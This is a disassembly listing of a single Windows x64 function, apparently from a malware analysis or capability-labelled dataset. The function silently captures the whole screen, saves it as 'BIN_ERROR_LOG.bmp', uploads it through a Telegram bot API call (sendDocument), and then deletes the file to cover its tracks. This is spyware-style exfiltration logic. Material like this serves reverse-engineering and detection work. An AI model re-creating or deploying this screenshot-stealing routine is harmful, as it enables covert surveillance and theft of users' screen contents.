Function at 0x14000c7d0
Capabilities:
Capture screenshot
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov r13, rdx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x160], rdx
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r14d, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r12, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r15, rax
mov r8d, r14d
mov edx, esi
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rbx, rax
mov dword [rsp + 0x40], 0xcc0020
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r14d
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x20], r14d
mov r9d, esi
mov r8, r15
call fcn.1400061d0
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400170a4
lea rsi, str.BIN_ERROR_LOG.bmp
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], 0x11
lea r8, [rbp + 0x70]
mov edx, eax
lea rcx, [rbp + 0xa0]
call fcn.140001b60
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1d8]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rbp - 0x80], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x80], ecx
lea rax, [0x140025110]
mov qword [rbp + 0x88], rax
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x1f0], xmm0
mov eax, dword [rbp - 0x80]
test eax, eax
je 0x14000c98d
cmp eax, 1
setne dil
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x14000c99f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c99a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c99a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
test ecx, ecx
jne 0x14000cf58
jmp 0x14000c949
call fcn.140017a20
mov rbx, qword [rbp - 0x70]
mov rbx, qword [rbx]
xorps xmm0, xmm0
test dil, dil
je 0x14000cd3c
movdqu xmmword [rbp + 0xc0], xmm0
xor edi, edi
mov qword [rbp + 0xd0], rdi
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x10]
call fcn.140013570
nop
lea rax, [rbp + 0x90]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x90], xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x10]
call fcn.140013570
nop
lea rax, [rbp + 0x110]
mov qword [rbp - 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xf0]
call fcn.140013570
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x128], xmm0
mov dword [rbp + 0x110], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea r8d, [rdi + 0xa]
lea rdx, str.text_plain
lea rcx, [rbp - 0x30]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea r8d, [rdi + 0x11]
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.140013570
nop
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x178]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x140], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x148], rcx
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov dword [rbp + 0x138], edi
mov rax, qword [r13]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x188], edi
mov dword [rsp + 0x70], edi
mov byte [rsp + 0x68], dil
mov byte [rsp + 0x60], dil
mov byte [rsp + 0x58], dil
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x48], dil
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x138]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x168]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendDocument_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_]
lea ebx, [rdi - 1]
mov rdi, qword [rbp + 0x170]
test rdi, rdi
je 0x14000cbbe
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000cbbe
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000cbbe
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rbp + 0x180]
test rdi, rdi
je 0x14000cbf4
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000cbf4
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000cbf4
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000cc32
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cc2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000cc81
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cc7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000ccd0
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cccb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000cd1f
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cd1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
lea rcx, [rbp + 0xc0]
jmp 0x14000cee4
movdqu xmmword [rbp + 0xd8], xmm0
xor edi, edi
mov qword [rbp + 0xe8], rdi
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x50]
call fcn.140013570
nop
lea rax, [rbp - 0x70]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea r8d, [rdi + 0x10]
lea rdx, str.FILE_NOT_FOUNDED
lea rcx, [rbp + 0x30]
call fcn.140013570
nop
mov rax, qword [r13]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x1b0], edi
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x50], dil
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], dil
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], dil
lea r9, [rbp + 0x30]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp - 0x60]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea ebx, [rdi - 1]
mov rdi, qword [rbp - 0x58]
test rdi, rdi
je 0x14000ce3f
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000ce3f
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000ce3f
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000ce7d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ce78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000cecc
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cec7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
lea rcx, [rbp + 0xd8]
call fcn.140011170
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdi, qword [r13 + 8]
test rdi, rdi
je 0x14000cf2e
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000cf2e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x14000cf2e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140017a00
mov rbx, qword [rsp + 0x360]
add rsp, 0x310
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x1f0]
call fcn.140002bf0
int3